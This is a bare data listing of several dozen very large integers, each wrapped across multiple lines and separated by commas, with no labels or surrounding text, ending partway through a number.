1713614096302180990418467311072073938931872572979892600268
7366819019419962788394116684500511419806225362052458398620
1132556948759866325385759510224457726964460527040786335878
8821002328879958074357550336106617405061782829356397484527
46190948550896140130181,
1102672517172858584276337760801638712568345381599153425813
1379735371755696371282926617363802325182847758704792640588
4444567409913436989336448951389380997650396224962233495997
6420994812336218118135850429021103801109021768359695110066
3250851512190213071016368902576852479520098954534435276962
67873386081274422451757,
1261833268226137818170023447170937259072158773150384923530
1442603834243953343201343152184891833344866436244670642519
2864283457188701456875033079111775944323079849317750465271
5883486989986520677110235241205030772535596045706328680713
7757859010761429173107922415164347269012247613075491769767
01897737585652878544480,
2352345259543510567697311301328275376490829123449810854303

5599756404153844009391143285195639440586859451001573147650
1039062387811568920384179408267326310203131202663853291554
4703635972306409923815120653420292753123799345699332867070
1376846068875745003320816864151961979739372491770100859086
55852650234228441478386,
3057409371789766073325964980987825412369113991453822418999
5078105011074467240768696390449161336353443675772642013256
2818463084222248308180265633670993691579127291532812295295
3671283220509785834397055414878601494717997402789677345698
2287800444379433775976200847553497739523257301632423491870
09039341263692087276974,
2574533459462983749864896682047364787401064900333980785603
0038007803446593228439353186942960485779069088756810732726
0055880024939206768410816878869095887593244597211501158207
4294562026753217466783719419419900467238459237066020272913
2048430123355188349507025637335654993025439691623083219345
20442473966307868513580,
2022385464826559692918107127588847321778518992508962827738
9155550873320665660966828379460820654454401466788371384356
5686715832254733667154443421443598978366165720486128972284
7591621006052979684764312344135926078186513698322886987335
7097791085551079557532699039018011060197630804962715277444
68021351745371823353252,
9689391735863683547486204961347211518701875233623927685527
5951468690382927922980804627395800754123528197890531355965
7262087333106123232387608384367112437750671192860497651578
2450381985098865450477177027554308047981623556855407016541
8836109507938975087730759099454775258545785920434955812732
4335504006216137103752,
9895482136587255909064874106151450853061159836855925169850
7816953644382378959232685242090129660283561770536748731186
4354039946302080840130073304927826853015129140096611963626
1258504413031259112544665531520761701367389150511499846229
3952909703378330620614431732394825831748912074862905193845
3830924273667195852745,
8724847044746372630520840344133891456339008291223035885671
7791782937046293756478557504377718330221917114793093676951
4299457862631784849158294654485066411800344309691319163606
6644265268008696657199588200183754991017619184541266156858
9857478152186401446602558481926892104147443886273839286077
7090628093390962281353,

3335623542736827291396282244423821307274157982564442468396
1004171114847892449960171926657208402476441948266281176112
8451350907452905396300259346895773510379901885728918179051
3936240490392106669515194129954734572997721947452674145791
3396809908094764221693629468026212051473974937058297462709
88477050003415328845341,
1761380733467528305959503891852247649070089141452076796883
1771939887187960967734259048054812338024003516460715367346
4719365765009353726948405861442575324418817833360744308067
1226510232858060892017332302977714911143886194425465134438
5221055297750194190418163659771761748997728800726555198054
83645862240114690567082,
1209618325005237728441968742917415504777200984016492446047
7408222186935753447756087809164545300540592451612247347398
4244526058135570953935462980616387328496121234468504031496
5140280481818416305245264601264251279703773788611389363715
1617117929001936453952223065149711583320021726877346277906
36437817187529886528751,
1138282011073064547201086832818121664454486629411319487726
4825380981270534746962079368184480581167164634708107149622
2459073190813772205067604746550121842501771482863255253387
4487506854309082709308041868527921970493391982451474657804
8045692944745620164449880462345585670100317135487235625034
51401797259331488969882,
8885496364039546047647236885557678287531807140108322746425
0717657752504424727606132369908623208337263157815294975813
3288498543297474130492421978118959836107702178292288236488
0975850135150663488236177744353092639136671142710674551521
0107079599527600939317111150300879934286344236224204898762
8581887987464005163204,
3543976116962685106527766019110709037471438876286135220011
8458398755659477608187065336041287497713143575798994230888
0109868618912408806267039617254214253847764235050858535970
5743279817690290883054280545215341082914523218258616679418
5022574961299300943419929477879416771808399833473440704135
8119651593716042845485,
2384922863082887436811082496302582681543221078571934686637
7436495753696062264891671526246405286608132762212453428278
3309118629914721598996098766002239277835384507795076569213
6646289140739864200138870330239371410078745456408088250436
2255037333587110184974643546726637961178840731867178665922

77109652095003699293521,
1066529304186065444248166501240274461011339593971123999497
4576154830322816129403590340896175614940660798803943780286
9843751789310910504235746848620749564503048372857861673183
4903173308925627751432790947218867695591915953439427236592
0335789676224293797712903755695525937711216671540562276389
00195810817192145012445,
3031481922863440393946077933711918870116129323856882579645
8430325793020395823639393711777749836865448648648022705525
5396981145381965829133874112760102767434671139347077188114
4509346344590744765328193876373222645178738124089501527827
3516785269049361753063654414082668034666157531135864581880
07510114462766474668174,
9913089362323215802554969754978506755866905531463919058500
1662328693268223107398558983943833027767486868247509226776
460827708359145453716560773732776898285777597073257099028
4792744765379303586461299404066179839779410811266999873706
1716019416095061312461505097276299668552590969957861283524
9579186935638411812437,
2263862708870724979727755570765982814305369311294177072539
1002348566325563607454548248223653425634197366647238709758
8345307234399352071119964876589289169664682298539127734053
6831620330721139960048034004750797150451333465035016579440
7572955655231912774233702626423378242677839851551884178789
88608977412218839982640,
1757331274266762269347705731070572761195951087796260553067
1926574135710150110724461625564362835933602002438714033879
8990499339252600882311276851209349507517361475862678320159
5998352119769081243441386422317476078223464899244931499059
5437763854591004334435174713274045630806501573715692402208
07256518494568990169763,
2814301264496894820521525768402394730394027363283671735918
6034456921819286808616892402152454615718144489800873654976
7477107386399940044785412174115660588279307204167306464517
0507114350714228536404708765483754862686277926220775504452
3424802182592939535849916517134920397392002540575706142393
48902156366162292376814,
2979212899980927889839521139022332255440235604122430823045
1572298458519202408751585715877339825151928964738709730077
9887748364356009250886579294845982390390961477957506345437
8140742974226912285533121770237545461465979794959297717501

6029710821380357953443248807818234220728528591693634043939
50909518917539766341202,
4992280104449008704229121697607872338746965254375697316232
1230081872473946577516744041638840537393320022932952814436
8786996804629386915145485576609077297877634271185216939199
3292296720382277447189981323862650173050454778427558879819
0740946847723205178208208446079900733844188566786422037450
0188658098134531475999,
4522658375664447371283690521254950433170626689551802217697
8665646469795017202894174045549773819687801594674319497420
8517072587243793723185117217542206197820892707762380181994
7623415061485969019807114939055096809285618183701625046364
7856423907926188762914423642409337943897388961315176600778
2617113958458251465520,
3064213590949412861523043357142028958780052639965033401606
8734198093485588587908106480487378744986595702696002812404
8655487493011691017394844822443905623966386133565257672272
4160464929579433433658899329912552412116620144451902388827
3487464749976332520388775776424677954155640842591003748823
24857798556404908365761,
3147471695929966745043588774146665284571405222006772264327
1496894748465469120547713672643321070748541484956252132316
0961610888025474130032901950099686665070863510167289951807
0331194718840175370811378207702528937329398123377849898282
4083783863258655789441583423493514158965540807485877222374
77026359533151131317100,
2366173354648273743527772454133603136983901908888566036374
8796940819555482418470157531591929871092383196808260176710
5150848682895320027029495277128968191526794314580746068516
2678082026357751800542518623042118537465739103309905248287
4362858581609866013755723207133351828164443879674486200317
8786105833314530857662,
1106616716489678872505732043493094780361277588244469271975
5182819207041243779068189451507588333984304160128946052592
6768223367634583252195953775147217303129116323153749071154
5487530188722946772633295219271406480579805539972246699351
4013060037952054598280398404339328941633638828382974947600
36900193809404641148274,
1421293464312013443681048762696818000309641201553203095825
8746282234932235394783838999912519625585537376706204489772
4672171194957201638452442944112242561830100725391971204011

7715027131961503959979527722792290379252925552238763386873
5868267762258848079738222416627544483932058737755156529623
51223188183430948378053,
3196245929062038939946068192200880528569816495705537001983
8857871376423239787768090670467667396662498818168117784369
8614377536982231574949043707532954526061477060007015424007
6247773407321813020510469249281381549980721030540657265688
9708531769826591253839861281860895564027681491429215728271
80779480091403237784501,
4937431709345604911087833136307724086048171120913366104118
8252323095073199563584187844790051040046465525612245037108
0212438081822301352459185534692497357599062532438926735560
4455122970954778774554080085825244032865037923605195939455
9595335560352024674206060233244391157948649082768109014250
0146749928549531347779,
1658317018350195163922422754025306075582886923608007515314
6608857122935503544282817386657595514520102842690135804471
0347890298961651959158353166805280743318696568033770024257
8635730671392717506693522615611966821300735431175650672797
4491669169987398518235252607326668519851431597655713236623
37935699398413119688801,
2133499454285689046722675266875036823527654189332550514337
5027770239750012085665239631632579786942767122998436698678
1651805188599879859756166196425715250033482304129541515889
1483748179657185637648909103846916519867878974787767252033
2388206877979526534638323034299067174960345149112902068062
30854561079758619718005,
1666599259725954142862561511915919904801818149826312319213
8857533181685287560586718837225714487237185547018699574833
5034007345481193383822687407288126450431460101824512100883
1397196335186885378742758147948741468260175529564703155697
3102620072734475355123021006978534910247729712437768430058
62198451751628763369962,
6032436710005213751656208630990180555769337467157766752436
6636313672571193040629647517754047596895321919864737082882
7244563398219409008392445679322889366223561589929681203538
8279620861015671782357103795928341357693988195506388238625
3450024331560917222341618586367722439303826872610767865426
3639986160064567434229,
1494103371996806169769259077743101680553733308028542969206
8991953167365683159317682725256733021461435147678573162228

5416265579820860099920408600416838354965515011138958532271
0068026075091620082985175596535318965759565374698647593475
2802190703435561855475067893334263987990766190100581890918
4537683771064777398197,
6354535485533149515940979373972294580648697912701865650528
3737736729621187976547889501130846664826012694501325339129
3519949009560326552272685741905099049309192942382664889700
0925834392511930041791388806202978825086071966928201235126
1159638236828685560118899909186887127032594061470514235602
6608430364262255287133,
2890754261514140149698672076783877064797691440675480210495
8773853104125256482305119994132360789070401492184854501546
7046221975657626208234134409260683521347751173507778655796
5572777810485296809806840980711746409886820733962068630689
9201329995444851352212483795677599534095585404047300566466
40151891075669241187207,
2535974089120398442113157382840446359356835148058174087720
8413479331104833885575579123831455521691988261603095414276
6952971294362692535880807586448928476648020486792666106693
1749506881611321230992612367889456442358322215246346480546
8984807000876971150989486025867154052876070286645448547376
74319338067597910234548,
2436434979567977898002630984823739796957673741487222816308
1184283930092778930049005785379478900828417669478578701473
8605820802696355565253889871500030068550170720904896345506
9262198583118127960811773231616298080174028746830532729920
5666534764231197899491865904193373850046951153447748259569
15410918985677261945946,
2842203093122189392242624309683471036136756733961183390573
0603276404043777374961194976998035969470167956369428527369
9739322918016249120741177545570193372802479561271028325325
3211635567101567660391286608823083251161146100728901413162
6806094034463551951062007548676468122626948242047533819474
94395318261100690812041,
1210721793686038698126751273292643388095457214438225178302
2434894390747856500974565097165709375698891025994519469280
7727174363048892194745827882965788359729679446323221693424
4101869582700346961791639766758062527417144921306966685847
3910513421868757362374543282780099066936342296490295957712
1336562630703109055267,
3178550438997720133294950172414763794952144146016249798501

8742683814206514895845867963522810926255020689888248959089
7390060838375391828860825698789349750855210451469354126637
3582510281269883998202304308997569521351611794044985542882
9621362305597264953883704085300223359557625652450948704473
42433719420458465456082,
5234662040892477857966347328987556873891724804923695201508
8090710874516773065329996320046059105890729679681609993666
7182081465672892549534138016194284823133621164562739926548
8037570724726558384441025272415740812043304750455131201032
2150881233729786145437824210283688017785643314964037904322
5201643808634816225085,
3248633255661994705960195398176498369138690652082764428561
4152486449606761188022366070201822063896058168425643616171
4958707671563295674952960181534846976800537995471626377881
6289532605155095945735832347815687111875264684001124732680
7303492094773319148915370957026510166506270373239923967998
17640326706835359487229,
1083324525553218060276276024487254109600960103906187110942
3645545598710028552982550453299802265174376695119629330133
6044360856213328382885985385735762924934433802517877045568
9688424597105794151301843597365621552506151901901012955565
0978957711368528633358289549858763992602203201790946524745
26585583302089697958899,
3243694195514949966501289280042414956281722767919342251004
4580552496959557518714410280005919809141039024362042480729
4124494617691143940885998978431997478284402537328319079175
4267714886784739527402951799503473586970818324353459114819
0070330829353138462033736008197355254716400391050412685393
46275151578294873735412,
6113485098958791753421373965312125451687207364556674629911
4259845192066930553366046402079248782693799863845283126478
2891170449836420548798067191457553827357498953810494972397
3321576623317372293524207612214068418646523480876586366310
0488014351273828655512774546467706501622211558393266609319
6645738395611820665390,
2389598024742200660955192575207513927252918941586109025580
9338070193374030619001134045753074623605161059972973626129
0161190648049971950222048110746825002439075641349636921597
3516628107747830882082523171843170793754425479095182513364
4593076197461727962081638197727653647154774584102426204557
41963890110112013917272,

1740837690549637161351833751512392737087570026971829351210
3762069415621742695422705583585803574603018978544732430647
0391375811518943958151095115325992842659338152626846281400
5226616822216235533608605109044131696513652544514122455090
9050118540756200204484072973892000280624344919146601950270
81699332882727391646340,
9981859283299360111915045964998567943542044172192668356662
7406464916915214728981305023359923834439296164833587088382
1452215518518338300492397295309276485786399789916800946410
4922835295223214145691900260772361327038430605452996532330
6873161073735434616401349634487862866844618875048973026900
2994371618052171600213,
3262713138656657522243697995178066971668616881429533412538
3858272041740659463819826448050833305218973130636280726023
0590579958370275678277062531262085401517771003689155295979
0478677200670615070404358240766584182268290469366974711987
4079602726685278439129794063137773915254909807074343633730
4222061167598548493462,
2848488732420928099229464072863429199134618610924146628173
0342891411927477889312587202336410332392055441279329025102
5161889669867760629050558856973761738127693376379453038851
5243951577280498161626024427085790828719811235363772247603
1945255543194869653309088953795443799558989738883469927209
67608395841894869810377,
1647375617573515310168623277711404740836032395292489005183
8731057211896538585719072049602872709999260632752739598421
0246983345033235230865745427296344043848870930376465234170
4824726682587649992925685823042145580610785440809930488629
4883811683323134487527594179932825851102958749258906768414
1802401812293079200226,
1404043316310024245533904865881678432437632421316238001780
8407873345124007308395963888259804056176429707654006446661
9278093016653954616659148998072638896461936620832092071692
8217121852795856473885122649686155981249093576829788961791
4549264492451840460529121472545441688177696197296953696204
17584131518265915726061,
1454393960473455761454035240861225145421014763439765090643
7601550327605729570527356978479813353811084824633327988919
9858997794449094183407694688063885956233135137463206908749
1513752361622527219996397457762414897272968324939794376615
6356204335468436077866729700321699830151437778352750303984

12285657458502865190759,
3158646948592359255155075480255841368486238998019833457843
0293184560005328574290555707436341837407838187956595672829
8259686432016221520450573238303912264241224797343548569326
7157334326466097152753854419495786171311773478062256345564
6666707684198807059831316330683127798029433934721215360290
82824426593164351020077,
6862069956688869568176133023942817920532997756256777542994
2561854771828833042096176111397126682567376198208835806102
3879124175012435315225897369130475230051283239626184025511
3680555862346474746349232353860588956823990470422309218689
9069828379764601060979670415705481979218005721086824808010
7864573672898725797371,
2095562901056662584567172094518785773370053262432844108435
1850398509840212902919622078859816117011162675893712184973
4919963552971951741014567728256030874990205347256585062745
2012782581127730697718893999265906263257636747149596366564
8662534082221677918573144028524444792996793405916834179114
89553516553113609916937,
3092376611190065677833666665190292419059375505417052083944
1443196298824023044780112406764571602075736232781175462710
5714876396463309662742278879292574761322527470422926731461
5074241257820789993586269186284796103833257390720899233250
5807618646903570433861581545139746629683947562686137873366
65433704048771767353537,
4802429307121690259969824667155974025487525327237741616278
7546997993410197279654402466036767057815146992353882358011
5636353062777207204011668876805245410336277097646896977490
6740064281279302659831609390156303429188427937159365479123
9340992266375863750340204168403025644222239903461811190312
7178351797878045976218,
3136874105163529515272045222083019822646526695482826653131
8456830137250556465238893313380656042404727066861866566959
3281406443363004844707024322603437420038616949763747434767
0288051360310902861644723155628598316294669970306132811587
2878212588915851049120432539158443153451839802974607552077
79390657331435879097101,
8298518753988325023428757426433564261375789978001512763194
3642699174833521715207974636280170681960229763071971363980
5732594314250174006367068224939536126783316966492049413486
7325939074663312785086840952405689155021210676179117213269

3926802772119808713594872015465756921605307456590391309637
6692802941842388419189,
2159172087997178287544700187483113239807641020457818557582
6065793157430707075015250979640608051636920991193426152145
7012936857666827060726093798851040161156108982606408273716
4597708953321213656744558889969172466511033734076475335011
1794966895763549037234359935217776729842038225990265216292
76483580044686025565067,
2629406072183089177967451829907292155137925605742688492582
6657381804169391339663117069595622661995511021576328881433
2863357083352605699177615331854739290051503102925787299342
0402122878177441984697049854192733450578243847286231668983
0290496510068506195329683684165498696511694265512645793342
02650728347651402022747,
2354927148834413941637666390235092339528543129772721999889
2150395115969421306441191031532814661324355691631215553483
9928691542328772181149122416211764144139862603668861057432
8525485998585214612179128540748391690936253206174250879140
3095180137152826075068889390396156882205439815803440426565
83646013271604390200778,
1247737018826510887892631150864760382129540054990892665401
3238882025106970233690413932451375068129552746713590568869
9662240348919831962234379643410209901045099315566683738399
7637085420019783205636269522455755389505538234600998141360
4948231193301199945677415256002756957453489652738812907331
76763929490630366522708,
1906355009106463444437910049197912619434259702858014404988
9025109404694127037710824463135929350386302635191439139435
5704830865498142583057634057661016484332744857148512132044
3802522665756097352198023002872865211996429066703725027868
8440469265676648774262832951259957668361544201119924086936
92534799110311274031144,
3071573107803158332012884071951388298379422909965053044542
8530409391760615679395425696846052473865237523102632014424
0199957970485534703112380994362345750740534686412309507928
5609628917078192515530783919278635626768957175802014463048
2996606104605804779043470622738897705686831228863879587591
65709664021080923439741,
4434668728388299457218276768593659327044804772722048471701
4618554147580855943253465225963981789337305503458964797732
9835346408786522802798735574292929970775328955989913144390

3680162095414045302520053535571051508191627813699720258564
2283460129161225493357852698081377491900316306638168559616
1892444429238029978535,
5255096327070025616287507486965356155774041936647909435614
0979391353480151007548888506155027823959210792822545213272
5550720629749226424417777622777703992001348917529231808522
2010688133996142243594256321148304830335748818508347031988
2735517573450188722300540356871794781569019382760998421579
6479700846653230093669,
6522163325909744898930534394057766422152717557489976599547
1922356851764059177203295054800869484157518276725390804089
4712100375092144054599505074145963369095416383638316225180
1012425015256283888799761307795225446954403177730941318378
1568616464628865862430497970993001871816291260016108750384
2833796418666274657278,
3235533652009272332290643624471338668914362921838622574313
4006905065741072958063815128317893840553220709751921363427
0194734735268072533016489766173587399963011790651528566064
4961241284685934513471930362429954464459928691286511262074
4523813056750343117802173741951062168079815426216758129585
12682904217605856326280,
1114975676935467027001691164188586202659036751710062962657
6582649361156272209892543966527145135851232978717283314528
4750569116579262595092310233291820616235389753242558757632
0940605841108609000988882377230644423270217697191197696183
6932974295597581240221220864644471370037845797507453025762
20578236990730739861972,
3182480476161282365269958217628800601973745980548916094062
8037965439276229965113503701350328582430111428191146691556
4199874912348315801554617995320304280593938673203631801033
4367698898926966421951997144358915648006033265503601342487
3432767341182564383959186195751275265333819149774384632908
68345058423294736588608,
1503796541280645404074992698277106353096725804877131244108
6496599939134225183466365224618294020647170193049994721579
7349751001913020053481984459636349939050060657768980031406
8645756635841061596960436831246306248061390112461726638032
2536952022712915677744336082045880353543099440655525774861
52278053624911574127054,
1263109237229703177357923173814551237939863152405938642869
1523192337509271347968278843897041291384051441899089270790

2909699803131968841972331860037750974303284122537047306251
2408542260331804290049752080585172119824363366897088725055
4023966744412763814103570379952355563862525501053622990738
35419848169183266526387,
1682498870276770515067305376731284890372639975740468551383
3988274880418973752293594906020061460902935005905751811660
1395617107973511167776625180294517739328872661760229623279
5519764060955460371254039268183344471446897803683316953410
5351436033459566619746903672645557437881102467492858181372
98584082418354920732301,
3149243893226272861721877060750860514476989758747181199282
4330453016588852790818659899271418387371654933215312671360
6250249218477184957338771427387722151866912977292094142815
1821986496881599256080371071043137695200114031795208977136
7891836444619292822946184698265325267405303353435365956849
58445785310381322804874,
3189645651273085248275610920597330896808049838647554364802
3162228493679299467338174272653503785839361338376848696805
2901934685178976507189043565744378713317928823151789717874
3993431439815293728748203855346327845657429855565859455755
6123002686563365284279829750243229581876104157334485253235
01460388668366043621022,
7863225730757150259473571837429909603912350398503894622346
3004290380466307352232395769532543014967249420613972353613
9600670849088264309656905252460479085410006608678775291378
1047727696164277055679189704824137641644277536434626412589
5930459140688933045618157822602833103106642527226272473110
1540064371549578114578,
1031576341232566782760187692748208150354205312502943569863
7229490354057530459895965547280095775611458281540843865589
8251566475334240667756428452752776312578876635231471479208
9941475044871374157690627677658823740479540822158142898684
8004730581130878666622159845227377164394099266012092633144
97920890324368299138037,
1723345407586962611564822344026185239223837614878379788101
2738971023771387587041193059940736103475228469411911323095
7715237325592133896567325606773063274477932656649549526829
6310290789386791790283168363426015677802799717662062892471
3922698174615141418416003176782024627833880059501979269868
33142271473880744150549,
3295878858789869842038781950996338635473764399077580773628

2712479582655873254989966075135477173494255614774311216630
7199839366511787288040215384127075165123377554323974530994
1829515150835650934612828320165834311595494828839992155032
4621005693300181379582262985778013947158749786578451055510
7380824121920087434035,
1935798450081893285057449179094680471004043756452158240817
7935942578256428586079018987861304217429802417687772451607
0574356894061267917682792421795168270788171089545462090129
2818565200435086045492221394724440465176798798964383072172
0990496517126986262618339879542159394160861112347763659348
7610798055315957585378,
1932956171417655283391636622802492258946181407285979989714
2412035534366476686433269796191294179026378830206533108808
7244492207897965346623010492430165472771885854297841249259
0949375829654095017215957183601723307066786278682606285066
5633007327795474187932476873426050017537866373536115816631
02679996589831314745462,
4312445809828145820833943562369488075496232076065763489521
4595501708933059846304256673479451631150815038296069843445
2963990970777335188287735670335084995073651961464390623824
5191901177767287874797767641709621827549174432907457205534
7787093517752717041384557834504491146840672337609371282893
7012575490962530964735,
1053229928758074976398264950058748997800934652789663803952
8965164169347052738081278815990435840991408560212901935766
4333890223907407605035819143345437656667174939784436576406
5870866431766232443014448343643791865260269479702323924529
1248841822841061813887317832941682351062429658356585101256
20111882853838504707023,
2976748375190575088458300532975776809142863057072468820029
4255379576792581867061161544243720215764859014225369357525
7196151424100696364559418315625982607846816877596472286669
3099562430976383299853619992711425673531550300989604000860
0511130053660879437494041833332737275383545151777550741021
1273554293687070549580,
1733343095478634808041561910339538021162779580845536063463
3465454754725697022945333334008066613969024647013313326183
7535199836000251136747546507223415882316530005195906995856
9367672166696406482672242437519673104935371114331717412596
2311023486384764885258906287785985922531022724785392395698
84155674312247474449736,

2561404140450041302772810925483095714024338918728843029174
5558018155698308519120337146672001091170188786827143524918
1159996312237518306817333761563393768157762686015727316035
5707247806102424950665131787271505196436126362672614554863
9336846840894623252419851300075913194892330177874885980784
72974805606164878879061,
1097574776164080240293456645898197919121891730219163893152
6858546421117810692984760033461732059679599128482374853945
8504884149042661117337466658848055796532259114049679150892
2309254319126720728113765149932980943629464972647453118600
0312912057707340222263045286974862477002171093761678744565
23640316269384575297723,
2854056371407224998727665610252280360757332722788156784908
8299155776284724288980851187226967438953597815479497071667
2414992503436280703907843856778957323003140755703800652837
5382374881444240618961160402110560004179851544616584345012
2107716215485914072817997786708916071500231384179238528551
76269086470482748415123,
1742868098907572877871898804185285830463552288125915757099
6446930253023299517232631208191593954824988789814431327546
7720388571191322393569756581979362824803133777246107377536
5838559194903174910084850763813221340750760911424155668428
1596964930052193843261419278871686103689253223180171221685
43110050888815713944507,
4462058424223842294023897226416016141709348608518252224145
9713622643616699891238300275764540453692962237394091382244
9486854867610819252761978372954512687193965895228262336622
2821437073215344066086255157420283386722905363990753642979
5795188936533674774676038148689031434526872928226427501191
2931751588114789305451,
1278350987000069091159101113013235961402832640722387311550
6719057456821401673822660363696428177875346179153772076190
8836356044160397786153837290187037818986230309907436730227
1730826799269995606821542531651941512040880058348577903753
3331753485783018621120401254089676737555635727929071351619
56734224320331470482208,
1321410001484565528490819273038585285105413357571831939831
7901683045354155677612734308478358175561943656341452914128
0015151276884114490168873877138844432821765496281203729402
0757513500801723546537937817550385149782475731844315132920
8007612591664808908837750190671471990427407264290240581865

8398426875949665146238,
2587374282293805499949530957997384648103456265773917603020
6323658993363078766539819390830839869664304190332265720971
1877242491600910054317282935179554712995700712031931975365
7844044902192035617482926705872939053535756753102338773333
7648174709272414165955423246752115823187106477663757799276
80112494583089072882828,
1617378406857216337184969176899016366256712957591787603375
2680009024385572545470003539831370702234288605171322876669
8993516485872147150401779678161831721012683110163812149639
7713871676442963511347022172224786516037941747188601544603
6445315695392222867219008353764174937672519422309510400881
84743170206719859711968,
8980953726732421940809735943682994255664558560444103214180
1347452422175989120388754635278717428232088741146008043772
7797939412218726691219079180083555932061101199149305463588
7745300711685348534182990441026076105599947209561780832275
8327355684244923236316032138125428525831161590380393598512
5460045948814166410867,
1455409534640879856508947699836486949559696058967312922136
6123738161373991707706746605625329568473941571478123935536
0544500816922878683158207526449877642954791678352012333645
9655616931616329421768346669163828713530335114365473234382
7362979710514793619804934015413098536001454563738113253284
09552751013169488757902,
2894218001804544243082627796693327412520516626279900138600
7668338995419289637151727284460476193858534218588269256823
3457755816886653640341705422006909081910715143490043055577
1008610170050599826498747876567017530222616420263080856546
2561538424151797847203984537275787989520106453068315755555
8294344582721568266829,
3236767349300646910330962826891230623732288417001026288709
6793089994629408903015623783356734957402181416185599853612
0895035434151244805927306890738765221316735049461037269714
2195421699851038102916624601455623718020017252359860401658
9480376880831612094343860848602797596726960726084539340477
98786260812551100510546,
1933966417212754123939223381883537127600664313217830557996
8575279061460243347107576851042234142242019459545606455335
6096175365146335194941413068518189030398492997230688619879
9158076087918243724958317299426269475424830010207014778458

9946500481925346609890656098382442364061962686163806713700
38902729874978520967466,
1890851454386712055382830684879180150275358051119478302609
4012400102555766172189304511952833374512910164101382207714
5331170525112461841551792226863124158534434808854615138899
8142432988170059564527149891960257038913333157817507447937
8138629808480954626797461777991890289088810337831110604251
52727985164785305970019,
4026037660738481676676740542430949904147771047734741038061
6082801158084969276694203344407779239641144736527432252220
3996803021087350811225401521141381760725243419884838423539
9044490660048377933948063361805008197236638804280535066111
1911549795912389564894040662025246451323572847749825447568
5102421864297396561335,
2420021967995382123660809892582950060176130782763720109953
2336925081670824235490989762451917529967808940115895879318
6471683834668923229865319806428405266558846786075176631574
9509581341478699048802417477450456489329774362895761208330
9067519087787760333254824451346614507409794601068078529134
44569848586938827008107,
1941700715535448322336089462850635664719809096082094264151
3220205884404138392019360741967946977178978483970618546741
3726373138437000249255829530686092186229773401412544242517
9398180330910426578525490903897101950462973210345417899886
5737758878404543526178725830670904459650242191920062372948
608190247074304024605,
2051235644626333472333280944179242197640143885286812519598
4835123780202041508815222932396795785159115456406861372650
3478384164484655199986819565615112788297433899468869638000
8310947607492485091077227357039954636815287087866979010503
7600962221816292199195036541381642622851511985745308119057
30926911431111680746064,
1515467100936135511482345317391664694414072842988825129989
4610988738355807542266491226965789488379935323149206764225
6722555667531281443323417443935756497568606814573086969948
7239591550878691312864005822646138399517977121516422882517
5650528432554753042466072941300716538802905149920408708727
63738888588862513217617,
1406345062688247750758057022984972566483253818053191643625
2347196892884661577307922059989261540826913752113640602837
1244914946302477887756933295712258251971606517357128929674

8589519381070934216151037393103547361059041628998847830475
9996946573781398575393683967247957811849078860108757261522
66201687126169969373759,
2870403791858858080549124567861259603741760726031659408907
9876384533522625396086139167762676088303673488296090507666
3537805143491944788965283410407125631089978329673034774183
9425926475701383190125177532851029272243203718976661318781
8050916413524868031830633235066284050526675689690908317455
42516924909064808654519,
1378100131962129103700594553515259340373729688972501943023
6450285517577045056728007300222167020015177687327503709347
0199840159316468189033444404581868947890554332568171769631
6362759077390833039145773928452555303641732703029790737149
9200633421295752187619326711057556291031072337808242273748
74592382504055083759735,
1862557258987399292598950556166655034606920086336418041239
2136378709580561372424739701553659785762868729505478059416
3014216013700370241156596367008783049193606012997073094417
7076504094545374929367335396016291701913735019464097502500
5281437173038576050192793061869549064476659297206935183778
5459221866073690386359,
2817837506918989006147034352216871469931538571903206662360
1477799121818729888471241470767060088673568607303777921790
5191581637030240483271500717783901756374088112891230675616
4542586354668777311039713090671617094132336724712868801672
8088177462046145412172954456655914330789717421145900334626
80083691533419499045475,
1338281600270272958355863259255425414160959791531719339404
4575545563953525577133185668661766308996815234350236630635
4610973931670223327791973444699923786604021053130171077266
4417363349471519599665998642246930255799409815051560390515
8856608248814532064081996471302818961264029678374590033856
45446546570595679958092,
7321820096836530826828241108470345754184052241040724362548
8983211904166248225248707537477254862685746228936712516709
0757678238251735445480691412727172439109535451494854137294
4406927110421197039593141251787631912600207863704837049233
6474686451348686931623632711301823247047011590500141242439
5993238812811659793180,
8038880369453899794738240772351703996078896130657359784842
8281405076179169506329000421381398603216616379713542428883

9359254417321850663597200343770160210562708978613160778045
9637487888912492636481782823518721133854060868449594327123
8129263131660433348999067509390870660180906993034481755852
8083781747190643562607,
2343596768476225672108345990941295055258029565549457104693
9144069454285678056789232974644988623263776096305141514235
6823930009011826597096116411183215615186626657607160439435
3050482887359597170810676214456191588677863976020555623160
4804468654053345085935456961282648621388587844444490378008
60890689553396824872813,
3550419357567726113214666014733192486425268264904932090923
9813112552574919688567340949267963782847544189263626189739
6421375566896225344385640513246990247022552386411308836717
6163583658920696295098363920274326848387415193152489768239
3710866030418452306402773038693519168844384076692141659934
736695071118480255142,
2403478277895282997697351065492257591845307320100090469228
3390159477410021768220222588058062825972697871619794610988
0666131337628801921224236918875659089830485139985489083832
6839473667124302533693782189518091719146144419136302687848
2289597199557258374208630578414172025170287415596853356992
31832066280603052593955,
1188472975193503972257156404547086465346365320191306832322
4722457043592598472269227174199942340035154845533974805891
6690859293449308480398434164571218525349632114886535206449
4093581876106177150951677416356294911371901540530258696716
3130705935322301520165835812187462586699777636452053061671
60173108202681348491287,
1215199895930898962602273508216959276295247474524720572270
7949691772866046380269293305337703093535046851651723140053
5385625955359919142429929910018325617644589241696642432484
8939226928935427209706806971679556591685992743647795365297
0979563418318067730465453489900004737978820952898547232173
45694488931219130631374,
6970278083266210339637158755358527446029040312805252387314
4946698743396770581818681344693713369499644153011406712433
6393651853825627827764071622634504036586417635331974583783
1322629546603949921621116836509534797086528707393429694066
5883578735437205174981544294776432503122503052841988398654
6852930709537242400403,
1441148617771955042530490350770114144337607527256124525981

6957357719391518995492613420041152547444846218942322204664
6167351882862887854606697839893224251824028451338747617634
4594061741581565667399270455941652075236514624317353873920
1639446773525963022325056047006239909490439507240193200168
74072701102758157381912 ,
1844133888590602645578492780989083019547415476474307533835
9130545151833077496591322708474331255213227382738224768586
9328446190279826208437697949949013057115324891169846570685
9402161651862016363222006934023774450160665416818284859216
6820812538224337357299941377738222652636138886181086657041
40256516723893605052657 ,
3002907010836192917921630575218297336733180485808606876541
5059995302041611223366418714135586086136320396817045104538
7971039923128905988831193825121435113124581518671094239064
0874157084110483276213320960047369390149698689096579708435
8022425713617189174259381652597254391742764776821775464848
1072788810090882540432 ,
1455727735542307861671306847761212581378990058673107897372
5187771393762331110565409536681992994804695877837104473347
4666390295528839558283936591488991089505076798789272806784
4736086150500895527752773409911504335482674262342638303305
5676018255822670383283724852323139376147191377060424173462
77823201025222985921955 ,
1944262934191047351244857529832169285291425282120808260505
0513178550415326063334991080481098986780214636993169821881
4334285401117850044757513023295373760336913361255685944138
